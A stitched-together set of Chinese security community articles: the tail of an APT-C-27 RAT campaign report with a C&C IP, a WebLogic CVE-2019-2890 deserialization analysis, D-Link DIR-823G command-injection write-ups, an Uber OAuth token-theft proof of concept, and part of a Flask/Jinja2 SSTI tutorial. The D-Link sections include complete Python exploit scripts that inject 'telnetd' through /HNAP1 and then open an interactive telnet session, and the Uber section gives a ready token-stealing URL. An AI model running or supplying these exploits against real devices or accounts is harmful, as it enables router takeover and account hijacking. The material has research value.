第二步：移动端手机攻击样本运行后，立即把该针对PC的RAT攻击文件“hmzvbs”，释放到指定好的移动端外置存储设备中的图片目录下进行特殊名称的伪装(见图2.2)。这个伪装实现了跨越攻击前的特殊准备，该伪装具有两个特点：攻击文件名称伪装成常见的图片相关目录名；攻击文件的扩展名为“.PIF”(该扩展名代表MS-DOS程序的快捷方式，意味着在PC上可直接运行)。
图2.2 跨越攻击前的特殊伪装准备
第三步：借助用户会不定期使用PC来浏览移动端手机里照片的一种习惯，当受到移动端攻击的目标，使用PC浏览移动端手机里的照片，一旦被诱导触发到伪装后的“图片目录”
(该伪装对于普通用户较难识别发现，见图2.3)，即运行起该PE RAT攻击文件，从而使PC遭受RAT攻击。
图2.3我们把正常目录和伪装后的攻击文件放一起进行对比虚拟图
另外此次移动端手机攻击样本包含的移动端RAT攻击和携带的针对PC的RAT攻击，对应的RAT功能分别和前文提到的360追日团队发布报告中分析的Android端RAT和PC端RAT功能基本保持一致，具体可查看之前分析报告的指令功能关系图表。
## 三、攻击危害及分布情况
黄金鼠组织(APT-C-27)攻击的目标是叙利亚及其周边的军事机构和政府机关。目标人群的办公、日常生活中通常都与手机和电脑紧密联系在一起。若手机和电脑一旦被成功攻破，就可能会造成不可预估危害和损失。
该组织长期对该地区实行多次的针对攻击，我们通过分析此次受攻击的地区主要分布在土耳其、约旦、叙利亚(见图3.1)同时此次出现的包含特殊含义的攻击者测试路径(见图3.2)，这在某种程度上更让我们相信该组织的攻击或已改变一场战争或者政治活动的走向。
图3.1受攻击的主要地区分布统计情况(土耳其、约旦、叙利亚)
图3.2黄金鼠组织测试PC RAT时，采用的带阿拉伯语的特殊含义路径
## 四、攻击者—黄金鼠组织画像
我们根据此次攻击的情况信息，综合360追日团队之前公开的报告总结了下面黄金鼠组织(APT-C-27)的特点画像：
* 熟悉阿拉伯语，具有高度组织化、专业化的黑客组织；
* 长期针对叙利亚及其周边军事机构和政府展开有组织、有计划的持续性攻击；
* 擅长采用水坑攻击的钓鱼攻击，一般通过社交网站或者社交应用进行诱导传播。
## 五、预警及建议
在当下，智能手机已成为人们生活中不可分割的一部分，它影响到个人的隐私和财产安全，甚至影响着企业和国家安全，因此移动端的安全防护必不可少。移动端的安全防护，不仅要做好它作为手机身份的安全防护，同时也不要忽略它作为移动存储介质另一层身份的安全防护。此次新型跨越攻击，移动端手机真正被首次主动当作移动终端跨界攻击PC端中的跳板用来实行攻击。可以预见在不远的明天，可能会有加密勒索、蠕虫破坏等性的攻击方式出现，如同U盘移动传输介质历史出现过的攻击一样丰富；值得注意的是手机不像U盘那样，只靠USB来传播，单靠传统的USB屏蔽防护还不够，它还能直接利用网络来进行传播(如APP间的交互)，在此我们有以下几点安全提示：
* 企业做好自身的安全防护时，一定要加强内部人员的个人安全意识，很多时候攻击往往是从个人开始的；
* 做好网络隔离防护，如需要网络环境，在内部则不要轻易的直接打开、下载并运行第三方来源的链接内容(即使是熟人发送的信息)；
* 做好硬件隔离防护，可当作移动传输介质的手机、U盘等不要轻易直接连接办公PC进行使用；
* 使用可信的企业版软硬件安全防护产品做好实时防护，定期数据隔离备份等。
## 附录A：样本md5
## 附录B：C&C
82.137.255.57
## 附录C：参考链接
360追日团队《黄金鼠组织—叙利亚地区的定向攻击活动》报告链接：<https://ti.360.net/blog/articles/analysis-of-apt-c-27/> | 社区文章 |
# WebLogic 反序列化漏洞（CVE-2019-2890）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
2019年10月16日，WebLogic官方发布了安全补丁公告，修复了包含CVE-2019-2890等高危漏洞。Weblogic在利用T3协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。漏洞CVE-2019-2890绕过了Weblogic的反序列化黑名单，使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击，但该漏洞利用条件较高，官方也归类为需要身份认证。
## 影响版本
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
## 漏洞分析
漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件，它的readObject函数调用了readSubject函数，readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
查看对应的writeObject的逻辑，只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象，则PersistentContext对象被反序列化时，它的readObject函数被调用，readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象，则可成功绕过黑名单检查。
## 漏洞复现
为了让writeObject函数中的localObjectOutputStream.writeObject()序列化一个恶意对象，我们直接对PersistentContext类进行修改。
打开idea新建一个项目，引入需要的Jar文件。在项目中新建一个package，名为weblogic.wsee.jaxws.persistence，在这个包下创建PersistentContext.class文件，复制原来的内容进行修改。
我们在PersistentContext.class文件中新增一个getObject()函数，用于获取恶意对象。然后把localObjectOutputStream.writeObject()函数的参数替换。
然后在项目中创建一个Poc.class文件，新建PersistentContext对象对其进行序列化操作，序列化后存储到poc文件中。
此时我们使用T3发送payload发现靶机日志提示报错：
根据报错提示定位到代码，发现readSubject函数中有个解密过程：
此时我们再次检查writeSubject函数，猜测序列化时加密没有成功，导致反序列化时解密报错：
跟进加密函数：
由于我们idea建立的项目中没有SerializedSystemIni.dat文件，直接返回null，因此加密没有成功，导致反序列化失败。
因此我们需要修改writeSubject()函数，但由于getEncryptionService属性为private，需再新建EncryptionUtil.class文件,把getEncryptionService()函数属性改成public：
并且把SerializedSystemIni.dat文件复制到我们idea项目中。由于SerializedSystemIni.dat是密钥文件，各不相同且无法猜解，这里也就是这个漏洞需要身份认证的原因。
此时再测试发送payload，可爱的计算器成功弹出。
## 安全建议
1、禁用 T3 协议：如果您不依赖 T3 协议进行JVM通信，可通过暂时阻断 T3 协议缓解此漏洞带来的影响。
2、排查弱口令
3、升级补丁
## 相关链接
<https://www.oracle.com/security-alerts/cpuoct2019.html> | 社区文章 |
## CVE-2019-7298
### 漏洞原理
D-Link DIR 823G
1.02B03及之前的版本中存在命令注入漏洞，攻击者可通过发送带有shell元字符的特制/HNAP1请求利用该漏洞执行任意的操作系统命令。在HNAP
API函数处理请求之前，system函数执行了不可信的命令，触发该漏洞。
### 漏洞分析
在每次内核启动之后将启动init进程，init进程的启动时根据/etc/inittab这个文件赖在不同运行级别启动相应的进程或执行相应的操作。其中sysinit代表系统的初始化，只有系统开机或重新启动的时候，后面对应的process才会执行一次。
::sysinit:/etc/init.d/rcS
在rcS中，先执行一些列mkdir和设置，执行了`goahead`。
> `goahead` 是一个开源的 `web` 服务器，用户的定制性非常强。可以通过一些 `goahead` 的 `api`定义 `url`处理函数和可供
> `asp` 文件中调用的函数，具体可以看看官方的代码示例和网上的一些教程。
goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数：
websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
以上代表/HNAP1的请求交给websHNAPHandler函数处理，/gofrom的请求交给websFormHandler函数处理，/cgi-bin的请求交websCgiHandler函数处理。这些处理函数有统一的参数：
int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
wp Web server connection handle.
url Request URL.
path Request path portion of the URL.
query Query string portion of the URL.
先了解/HNAP1请求的处理函数，在goahead中查找“HNAP1”字符串并通过xref定位处理函数sub_42383c
`sub_4238c`主要通过遍历全局的函数表来处理HNAP1接受的不同请求。function_list中每个元素的前四个字节为函数名，后四个字节为对应的函数地址。当找到在function_list中找到函数名与请求相同的字符串时，向/var/hnaplog中记录`param_7`的值，这个值但从汇编不太能看出，[hackedbylh](https://xz.aliyun.com/t/2834#toc-4)指出是post的报文，在运行过程中查看/var/hnaplog能猜出来。之后调用对应的函数地址处理相关请求。
这里无论处理请求的函数名是什么，在找到之后会通过snprintf输入字符且未做检查，之后直接system执行，存在命令注入漏洞。如果post请求是'`/bin/telnetd`'，就会先开启telnet服务器，再讲字符写入hnaplog。
另外需要注意，post的数据要加上引号，因为echo '%s' > /var/hnaplog中本身带了单引号，如果只是`/bin/telnet`，相当于
echo '`/bin/telnet`' > /var/hnaplog
由于命令由引号括起，会当做字符串处理，不会执行命令
而
echo ''`/bin/telnet`'' > /var/hnaplog
post中的两个引号分别与自带的两个引号组合，反引号没有嵌套在单引号中，会当做命令执行。
### 漏洞利用
import requests
from pwn import *
IP='192.168.0.1'
command ="'`/bin/telnetd`'"
length = len(command)
headers = requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'#此处的Login可以替换为任何在function_list中的函数名
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
payload = command
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text
p=remote(IP,23)
p.interactive()
## CVE-2019-7297漏洞原理
### 漏洞原理
D-Link DIR 823G
1.02B03及之前的版本中存在命令注入漏洞，攻击者可通过发送带有shell元字符的特制/HNAP1请求利用该漏洞执行任意的操作系统命令。GetNetworkTomographyResult函数中调用system函数，执行的内容中包括不受信任的用户输入Address字段，攻击者可以远程执行任意命令。
### 漏洞分析
漏洞原理中提到的GetNetworkTomographyResult函数是在goahead二进制文件中实现的。在function_list中找到对应的函数地址。
GetNetworkTomographyResult获取address，number，size参数，作为ping的参数。
ping address -c number -w number -s size > /tmp/ping.txt 2>>/tmp/ping.txt
但在system之前并没有对这些外来参数进行检查，如果address为`;telnetd;`就能启动Telnet服务。可以看出这些参数都是通过apmib_get获取的，那么在之前一定有apmib_set进行设置，在IDA中查找关键字0x1b72，0x1b73，0x1b73，定位到apmib_set的位置，结合ghidra的反汇编代码，确定在`SetNetworkTomographySettings`函数中可以对这些参数进行设置。
### 漏洞利用
import requests
from pwn import *
IP='192.168.0.1'
headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/SetNetworkTomographySettings"'
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
<soap:Body>\
<SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">\
<Address>;telnetd;</Address>\
<Number>4<Number>\
<Size>4</Size>\
</SetNetworkTomographySettings></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetNetworkTomographyResult"'
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\
<soap:Body>\
<GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/">\
</GetNetworkTomographyResult></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print r.text
p=remote(IP,23)
p.interactive()
## 参考链接
【1】<https://github.com/leonW7/D-Link/blob/master/Vul_1.md>
【2】<https://github.com/leonW7/D-Link/blob/master/Vul_2.md>
【3】Dlink DIR-823G 漏洞挖掘过程 - 先知社区 <https://xz.aliyun.com/t/2834#toc-4>
【4】<http://2.235.186.56/docs/techref/wsapi/websUrlHandlerDefine.htm> | 社区文章 |
# 【技术分享】我是如何破解价值8000美金的Uber漏洞
|
##### 译文声明
本文是翻译文章，文章来源：ngailong.com
原文地址：<http://ngailong.com/uber-login-csrf-open-redirect-account-takeover/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[小meet](http://bobao.360.cn/member/contribute?uid=166264293)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
读了两篇文章tweet 和 report之后，我决定分享一个在Uber挖到的很特别的洞–盗取登录授权。
这个漏洞在central.uber.com，使用oauth协议登录，但是参数使用不正确导致攻击者构造参数导致跳转和登录CSRF,然后获取跳转后URL中的登录令牌。
先来分析一个central.uber.com的登录流程，几个月前当用户登录时，请求是这样的:
1、https://central.uber.com/login?state=/somewhere
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=/somewhere
3、https://central.uber.com/oauth2-callback?state=／&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、https://central.uber.com/somewhere
为了更好的理解这个漏洞，你需要多读几遍去熟悉这个流程。我的第一次尝试是把state的参数值从/somewhere变成了//google.com，去测试潜在的跳转漏洞，然后这个流程变成了下面的样子
1、https://central.uber.com/login?state=//google.com
2、https://login.uber.com/oauth/authorize?response_type=code&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com
3、https://central.uber.com/oauth2-callback?state=//google.com&code=it53JtFe6BPGH1arCLxQ6InrT4MXdd
4、//google.com
显而易见这是跳转漏洞的，但是uber不收这个洞了，所以要深挖一下好好利用。
由于请求中我们用的是code,而不是token,所以即使利用跳转我们也没法在登录中获取任何东西。所以我们把code替换成token，看看会出现什么情况：
1、https://login.uber.com/oauth/authorize?response_type=token&scope=profile history&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https://central.uber.com/oauth2-callback&state=//google.com/
2、https://central.uber.com/oauth2-callback?state=//google.com#access_token=xxxxx/
3、No redirect here
因为https://central.uber.com/oauth2-callback
没有返回可用的code,所以第二步没有跳转，但是如果没有跳转的话我们就没法获取token，所以需要一个解决方法，给oauth2-callback后面添加一个可用的code参数
**登录处CSRF**
参数state用于跳转，我们可以将自己可用的oauth code 添加到
oauth2-callback后面，然后发给被攻击者，然后被攻击者就会带着token被重定向访问攻击者的网站。
**POC**
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3dattacker_valid_oauth_code&state=%2F%2fhackerone.com
**POC登录流程**
1
https://login.uber.com/oauth/authorize?response_type=token&scope=profile%20history%20places%20ride_widgets%20request%20request_receipt%20all_trips&client_id=bOYt8vYWpnAacUZt9ng2LILDXnV-BAj4&redirect_uri=https%3A%2F%2Fcentral.uber.com%2Foauth2-callback%3fcode%3d{attacker_valid_oauth_code}&state=%2F%2fhackerone.com
2
https://central.uber.com/oauth2-callback?state=%2F%2fhackerone.com&code={attacker_valid_oauth_code}#access_token={victim_access_token}
3、//hackerone.com#accesstoken={victim_access_token}
**局限**
这个漏洞需要用户已经获取了login.uber.com的的会话验证。由于central.uber.com是一个官方的oauth客户端，所以每个用户在默认情况下会接受central.uber.com的任何请求。
漏洞赏金$8000 | 社区文章 |
## 前言
之前对ssti进行了较为浅显的学习，通过考核发现了不少问题，东西没有学透，太不扎实了，自己独立做题的话会因为不同的过滤之类的出现很多的问题，刷题也都是机械性的，属于是无效刷题。在发现自己千疮百孔的ssti学习之后，痛定思痛决定对ssti重新再来一遍
## SSTI是什么
SSTI 全称（Server-Side Template
Injection),中文名服务端模板注入，是由于接受用户输入而造成的安全问题，和sql注入有相似性。
它的实质在于服务器端接受了用户的输入，没有经过过滤或者说过滤不严谨，将用户输入作为web应用模板的一部分，但是在进行编译渲染的过程中，执行了用户输入的恶意代码，造成信息泄露，代码执行，getshell等问题。
这个问题主要是出在web应用模板渲染的过程中，而python中的一个微型框架flask主要就是使用的jinja2来作为渲染模板，因此主要学习关于python
flask的jinja2引发的SSTI。
服务器模板注入，那么什么是模板呢？
## 模板及模板引擎
换句话说，模板就是一段话中存在可动态替换的部分。
print("hello{username}")
其中的username是可以人为输入或者产生影响的，可以动态替换。由于这句代码能够因为不同的username而显示不同的结果,因此我们可以简单的把这段话理解为一个模板。
而模板引擎的作用是为了使用户界面与业务数据或内容生成特定的文档。
换句话说这一过程可以简述为：拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,最后返回给浏览器.
但是渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入漏洞可以被人注入。
## Flask-jinja2 SSTI 一般利用姿势
### 常用的魔术方法
之前做题的时候对其他大佬的payload总是看的一知半解，不知道为什么这样组合，为什么这样调用，现在从头再学，重新了解一下魔术方法的作用和组合。
ssti是源于python的，且通过import引入了许多的类与方法。python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object，而object拥有众多的子类。
那字符串，字典，元组，列表有啥区别呢
* * *
字符串：str是不可变的，双引号或者单引号中的数据，就是字符串。str可进行的操作：下表索引、切片。
元组：python的元组与列表类似，可以进行下标索引、切片，不同之处在于元组的元素不能修改，它是不可变的有序集合。元组使用小括号，列表使用方括号，正是因为tuple不可变，所以代码更安全，如果可能，能用tuple代替list就尽量用tuple。
序列类型：[data1,data2....]
tuple的注意点：tuple=(1,),只有1个元素的tuple定义时必须加一个逗号
字典：用{ }表示，是无序的，可变的，在其他语言中也称为map，使用键-值（key-value）存储，具有极快的查找速度，键不可变，是一个可hash对象，键值可变
映射类型：通过键与键值映射实现数据存储和查找
表示方式：{key1:value1,key2:value2......}
列表：list存储一系列有序集合，用[ ]括起来，列表中的元素是可变的，即可以对列表进行修改
序列类型：数据有位置顺序
表示方式：[data1,data2.....]
* * *
`__class__`：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。 **class** 是类的一个内置属性，表示类的类型，返回 ；
也是类的实例的属性，表示实例对象的类。简单来说，是用来返回的方法，用此方法来查看查找的内容。
>>> ''.__class__
<type 'str'> //字符串
>>> ().__class__
<type 'tuple'> //元组
>>> [].__class__
<type 'list'> //列表
>>> {}.__class__
<type 'dict'> //字典
`__bases__`：用来查看类的基类，也可以使用数组索引来查看特定位置的值。
通过该属性可以查看该类的所有直接父类，该属性返回所有直接父类组成的元组（虽然只有一个元素）。注意是直接父类。简单来说就是返回类型列表，得和读取的连起来使用，比如说`__class__`
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0] // python2下雨python3下不同
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>
`__mro__`：可以用来获取一个类的的调用顺序，可以用此方法来获取基类
>>> ''.__class__.__mro__ // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ().__class__.__mro__[1] // 返回的是一个类元组，使用索引就能获取基类了
<class 'object'>
`__base__`：使用此方法也可以直接获取基类
>>> ''.__class__.__base__
<class 'object'> //python3下的
>>> ''.__class__.__base__ //python2下的
<type 'basestring'>
>>> [].__class__.__base__
<type 'object'>
>>> {}.__class__.__base__
<type 'object'>
>>> ().__class__.__base__
<type 'object'>
当掌握了这些类继承的方法，我们可以从任何一个变量回溯到最开始的基类`<clas'object'>`中，再去获得这个最开始的基类所有能实现的子类，既可以有很多的类和方法了。
`__subclass__()`：查看当前类的子类组成的列表，即返回基类`object`的子类。
>>>''.__class__.__bases__
(<class 'object'>)
>>>''.__class__.__bases__[0]
<class 'object'>
>>>''.__class__.__bases__.__subclasses__()
报错
对于这里的报错有些不解，问了一下S神
在第一次访问时返回的是`(<class
'object'>)`其外面有()的包裹，返回的为一整个数组，在第二次访问时选中了第0个，看到了没有()包裹的`<class
'object'>`这样才返回了object类，所以说报错的原因在于没有选中数组的第0个，只有选中了第0个才能在object类下面看到其子类。
修改一下
>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>,
<class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>,
<class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>,
<class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>,
<class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>,
<class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>,
<class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>,
<class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>,
<class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>,
<class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>,
<class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>,
<class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>,
<class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>,
<class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>,
<class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>,
<class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>,
<class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'PyHKEY'>,
<class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>,
<class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc._abc_data'>, <class 'abc.ABC'>,
<class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>,
<class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>,
<class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>,
<class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>,
<class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
爆出来了很多的子类，而且非常杂乱，查阅起来有困难，我们整理一下：
python2下的类的使用和python3下类的使用有所不同，我们分开放
#python2
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'sys.getwindowsversion'>)
(53, <type 'exceptions.BaseException'>)
(54, <type 'module'>)
(55, <type 'imp.NullImporter'>)
(56, <type 'zipimport.zipimporter'>)
(57, <type 'nt.stat_result'>)
(58, <type 'nt.statvfs_result'>)
(59, <class 'warnings.WarningMessage'>)
(60, <class 'warnings.catch_warnings'>)
(61, <class '_weakrefset._IterationGuard'>)
(62, <class '_weakrefset.WeakSet'>)
(63, <class '_abcoll.Hashable'>)
(64, <type 'classmethod'>)
(65, <class '_abcoll.Iterable'>)
(66, <class '_abcoll.Sized'>)
(67, <class '_abcoll.Container'>)
(68, <class '_abcoll.Callable'>)
(69, <type 'dict_keys'>)
(70, <type 'dict_items'>)
(71, <type 'dict_values'>)
(72, <class 'site._Printer'>)
(73, <class 'site._Helper'>)
(74, <class 'site.Quitter'>)
(75, <class 'codecs.IncrementalEncoder'>)
(76, <class 'codecs.IncrementalDecoder'>)
(77, <type '_sre.SRE_Pattern'>)
(78, <type '_sre.SRE_Match'>)
(79, <type '_sre.SRE_Scanner'>)
(80, <type 'operator.itemgetter'>)
(81, <type 'operator.attrgetter'>)
(82, <type 'operator.methodcaller'>)
(83, <type 'functools.partial'>)
(84, <type 'MultibyteCodec'>)
(85, <type 'MultibyteIncrementalEncoder'>)
(86, <type 'MultibyteIncrementalDecoder'>)
(87, <type 'MultibyteStreamReader'>)
(88, <type 'MultibyteStreamWriter'>)
#python3
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
(17, <class 'dict_reversekeyiterator'>)
(18, <class 'dict_reversevalueiterator'>)
(19, <class 'dict_reverseitemiterator'>)
(20, <class 'odict_iterator'>)
(21, <class 'set'>)
(22, <class 'str'>)
(23, <class 'slice'>)
(24, <class 'staticmethod'>)
(25, <class 'complex'>)
(26, <class 'float'>)
(27, <class 'frozenset'>)
(28, <class 'property'>)
(29, <class 'managedbuffer'>)
(30, <class 'memoryview'>)
(31, <class 'tuple'>)
(32, <class 'enumerate'>)
(33, <class 'reversed'>)
(34, <class 'stderrprinter'>)
(35, <class 'code'>)
(36, <class 'frame'>)
(37, <class 'builtin_function_or_method'>)
(38, <class 'method'>)
(39, <class 'function'>)
(40, <class 'mappingproxy'>)
(41, <class 'generator'>)
(42, <class 'getset_descriptor'>)
(43, <class 'wrapper_descriptor'>)
(44, <class 'method-wrapper'>)
(45, <class 'ellipsis'>)
(46, <class 'member_descriptor'>)
(47, <class 'types.SimpleNamespace'>)
(48, <class 'PyCapsule'>)
(49, <class 'longrange_iterator'>)
(50, <class 'cell'>)
(51, <class 'instancemethod'>)
(52, <class 'classmethod_descriptor'>)
(53, <class 'method_descriptor'>)
(54, <class 'callable_iterator'>)
(55, <class 'iterator'>)
(56, <class 'pickle.PickleBuffer'>)
